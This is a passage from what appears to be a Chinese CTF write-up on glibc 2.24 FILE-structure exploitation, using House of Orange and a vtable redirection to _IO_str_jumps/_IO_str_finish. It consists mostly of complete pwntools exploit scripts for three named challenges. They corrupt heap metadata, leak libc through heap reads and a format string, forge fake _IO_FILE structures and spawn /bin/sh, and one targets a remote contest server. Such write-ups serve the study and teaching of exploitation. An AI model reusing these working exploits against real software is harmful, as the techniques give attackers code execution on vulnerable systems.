cn.sendline("2")

def upgrade(size,name,price,color):
cn.recvuntil(":")
cn.sendline("3")
cn.recvuntil(":")
cn.sendline(str(size))
cn.recvuntil(":")
cn.send(name)
cn.recvuntil(":")
cn.sendline(str(price))
cn.recvuntil(":")
cn.sendline(str(color))

#top_chunk_size->0xfa1
build(16,'aaaa',1,1)
pay = 'b'*16+p64(0)+p64(0x21)+'b'*16+p64(0)+p64(0xfa1)
upgrade(0x200,pay,1,1)

#triger free in _sys_malloc
build(0x1000,'cccc',1,1)

#leak libc base
build(0x400,'dddddddd',1,1)
see()
cn.recvuntil('dddddddd')
d = cn.recv(6).ljust(8,'\x00')
libc_base = u64(d)-1640-0x39cb00
success('libc_base: '+hex(libc_base))
system = libc_base+libc.symbols['system']
_IO_list_all=libc_base+libc.symbols['_IO_list_all']
_IO_str_jumps = libc_base+libc.symbols['_IO_str_jumps']
binsh = libc_base+libc.search('/bin/sh\x00').next()
success('system: '+hex(system))
success('_IO_list_all: '+hex(_IO_list_all))
success('_IO_str_jumps: '+hex(_IO_str_jumps))
success('binsh: '+hex(binsh))

pay='e'*0x400
pay+=p64(0)+p64(0x21)
pay+=p32(1)+p32(0x1f)+p64(0)

from FILE import *
context.arch = 'amd64'
fake_file = IO_FILE_plus_struct()
fake_file._flags = 0
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base=_IO_list_all-0x10
fake_file._IO_write_base=0
fake_file._IO_write_ptr=0x7fffffffffffffff
fake_file._IO_buf_base=0
fake_file._IO_buf_end=(binsh-100)/2
fake_file._mode=0
fake_file.vtable=_IO_str_jumps

pay+=str(fake_file).ljust(0xe0,'\x00')+p64(system)

upgrade(0x800,pay,1,1)

z('set follow-fork-mode parent\nc')
cn.sendline('1')

cn.interactive()

深入思考。。。

难道真的只有虚表上的overflow函数能用吗?

因为其实vtable check的时候,只检测了范围,并没有检测对齐。

经过观察,发现一个更好的目标_IO_str_finish

1
2
3
4
5
6
7
8
9
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) //唯一需要bypass的条件
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);// getshell , [fp+0xe8]
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process(['/home/veritas/glibc-2.24_build/lib/ld-linux-x86-64.so.2','--library-path','/home/veritas/glibc-2.24_build/lib/','./houseoforange'])
bin = ELF('./houseoforange')
libc = ELF('/home/veritas/glibc-2.24_build/lib/libc-2.24.so')
else:
pass


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

def build(size,name,price,color):
cn.recvuntil(":")
cn.sendline("1")
cn.recvuntil(":")
cn.sendline(str(size))
cn.recvuntil(":")
cn.send(name)
cn.recvuntil(":")
cn.sendline(str(price))
cn.recvuntil(":")
cn.sendline(str(color))


def see():
cn.recvuntil(":")
cn.sendline("2")

def upgrade(size,name,price,color):
cn.recvuntil(":")
cn.sendline("3")
cn.recvuntil(":")
cn.sendline(str(size))
cn.recvuntil(":")
cn.send(name)
cn.recvuntil(":")
cn.sendline(str(price))
cn.recvuntil(":")
cn.sendline(str(color))

#top_chunk_size->0xfa1
build(16,'aaaa',1,1)
pay = 'b'*16+p64(0)+p64(0x21)+'b'*16+p64(0)+p64(0xfa1)
upgrade(0x200,pay,1,1)

#triger free in _sys_malloc
build(0x1000,'cccc',1,1)

#leak libc base
build(0x400,'dddddddd',1,1)
see()
cn.recvuntil('dddddddd')
d = cn.recv(6).ljust(8,'\x00')
libc_base = u64(d)-1640-0x39cb00
success('libc_base: '+hex(libc_base))
system = libc_base+libc.symbols['system']
_IO_list_all=libc_base+libc.symbols['_IO_list_all']
_IO_str_jumps = libc_base+libc.symbols['_IO_str_jumps']
binsh = libc_base+libc.search('/bin/sh\x00').next()
success('system: '+hex(system))
success('_IO_list_all: '+hex(_IO_list_all))
success('_IO_str_jumps: '+hex(_IO_str_jumps))
success('binsh: '+hex(binsh))

pay='e'*0x400
pay+=p64(0)+p64(0x21)
pay+=p32(1)+p32(0x1f)+p64(0)

from FILE import *
context.arch = 'amd64'
fake_file = IO_FILE_plus_struct()
fake_file._flags = 0
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base =_IO_list_all-0x10
fake_file._IO_buf_base = binsh
fake_file._mode = 0
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file.vtable = _IO_str_jumps-8

pay+=str(fake_file).ljust(0xe8,'\x00')+p64(system)

upgrade(0x800,pay,1,1)

z('set follow-fork-mode parent\nc')
cn.sendline('1')

cn.interactive()

hxb2017 pwn400 in glibc 2.24

和上面一样,我也是使用了_IO_str_finish这个函数。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process(['/home/veritas/glibc-2.24_i386_build/lib/ld-linux.so.2','--library-path','/home/veritas/glibc-2.24_i386_build/lib/','./profile'])
bin = ELF('./profile')
libc = ELF('/home/veritas/glibc-2.24_i386_build/lib/libc-2.24.so')
else:
cn = remote('114.215.68.121',10080)
bin = ELF('./profile')
libc = ELF('./libc.so_remote')

def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

def create(namelen,name,age):
cn.sendline('1')
cn.recvuntil('len:')
cn.sendline(str(namelen))
cn.recvuntil('name:')
cn.send(name)
cn.recvuntil('age:')
cn.sendline(str(age))

def printout():
cn.sendline('2')

def update_it(namelen,name,age):
cn.sendline('3')
cn.recvuntil('len:')
cn.sendline(str(namelen))
cn.recvuntil('name:')
cn.send(name)
cn.recvuntil('age:')
cn.sendline(str(age))

def exchange(p1,p2):
cn.sendline('4')
cn.recvuntil('1:')
cn.send(p32(p1))
cn.recvuntil('2:')
cn.send(p32(p2))

cn.recv()
pay = p32(bin.got['read'])+'a'*4+p32(0x100)
create(-1,pay,1)

printout()
cn.recvuntil('name: ')
read = u32(cn.recv()[:4])
libc_base = read-libc.symbols['read']
system = libc_base+libc.symbols['system']
stdout = libc_base+libc.symbols['stdout']
_IO_str_jumps = libc_base+libc.symbols['_IO_str_jumps']
binsh = libc_base+libc.search('/bin/sh').next()
success('libc_base: '+hex(libc_base))
success('stdout:' + hex(stdout))
success('_IO_str_jumps: '+hex(_IO_str_jumps))

pay2 = p32(bin.got['read'])+'a'*4+p32(0x100)+'\x00'*(0x100-0x94+0x200-4)

from FILE import *
context.arch = 'i386'
fake_file = IO_FILE_plus_struct()
fake_file._flags = 0x8000
fake_file._IO_buf_base = binsh
fake_file._IO_write_ptr = 0
fake_file._IO_write_end = 0
fake_file._mode=0
fake_file.vtable=_IO_str_jumps-4

pay2+=str(fake_file).ljust(0x9c,'\x00')+p32(system)


update_it(-2,pay2,10)

#z('b _IO_str_finish\nset follow-fork-mode parent\nc')
exchange(stdout-0xc,0x0804B300)

cn.interactive()

HCTF2017 babyprintf

基本就是orange的做法,leak是利用printf格式化字符串来做的。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process(['/home/veritas/glibc-2.24_build/lib/ld-2.24.so','--library-path','/home/veritas/glibc-2.24_build/lib/','./babyprintf'])
#bin = ELF('./babyprintf')
libc = ELF('/home/veritas/glibc-2.24_build/lib/libc-2.24.so')
else:
pass


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

def alloc(size,buf=''):
cn.recvuntil('size')
cn.sendline(str(size))
cn.recvuntil('string')
cn.sendline(buf)

# modify top chunk size
pay = 'A'*0x18 + '\xe1\x0f'
alloc(8,pay)

# leak && triger _int_free
pay=r'%p%p%p%p%pSTART%pEND'
#z('b*0x0000000000400810\nc')
alloc(0xfff,pay)
cn.recvuntil('START')
leak = cn.recvuntil('END')[:-3]
libc_base = int(leak,16)-libc.symbols['__libc_start_main']-240
_IO_list_all = libc_base+libc.symbols['_IO_list_all']
_IO_str_jumps = libc_base+libc.symbols['_IO_str_jumps']
system = libc_base+libc.symbols['system']
binsh = libc_base+libc.search('/bin/sh\x00').next()
success('libc_base: '+hex(libc_base))

# house of orange
pay = 'A'*0x200
from FILE import *
context.arch = 'amd64'
fake_file = IO_FILE_plus_struct()
fake_file._flags = 0
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base =_IO_list_all-0x10
fake_file._IO_buf_base = binsh
fake_file._mode = 0
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file.vtable = _IO_str_jumps-8
pay+=str(fake_file).ljust(0xe8,'\x00')+p64(system)
alloc(0x200,pay)

# triger OVERFLOW
cn.sendline('1')

cn.interactive()

Reference

Hctf-2017-babyprintf:
http://simp1e.leanote.com/post/Hctf-2017-babyprintf

CTF中带来的IO_FILE新思路:
http://bobao.360.cn/learning/detail/4661.html

Pwnable.tw-House-of-orange:
http://simp1e.leanote.com/post/9571ae32e8ca

HITCON CTF Qual 2016 - House of Orange Write up:
http://4ngelboy.blogspot.jp/2016/10/hitcon-ctf-qual-2016-house-of-orange.html

Play with FILE Structure [1]:
http://www.mutepig.club/index.php/archives/70/

house-of-orange mutepig
http://mutepig.club/index.php/archives/51/

abusing-the-file-structure:
https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

ctf-HITCON-2016-houseoforange学习
https://www.cnblogs.com/shangye/p/6268981.html

Head First FILE Stream Pointer Overflow
http://www.evil0x.com/posts/13764.html

FSOP以及glibc针对其所做的防御措施
http://blog.dazzlepppp.cn/2017/02/04/FSOP以及glibc针对其所做的防御措施

sysmalloc
http://www.mutepig.club/index.php/archives/47/#3.sysmalloc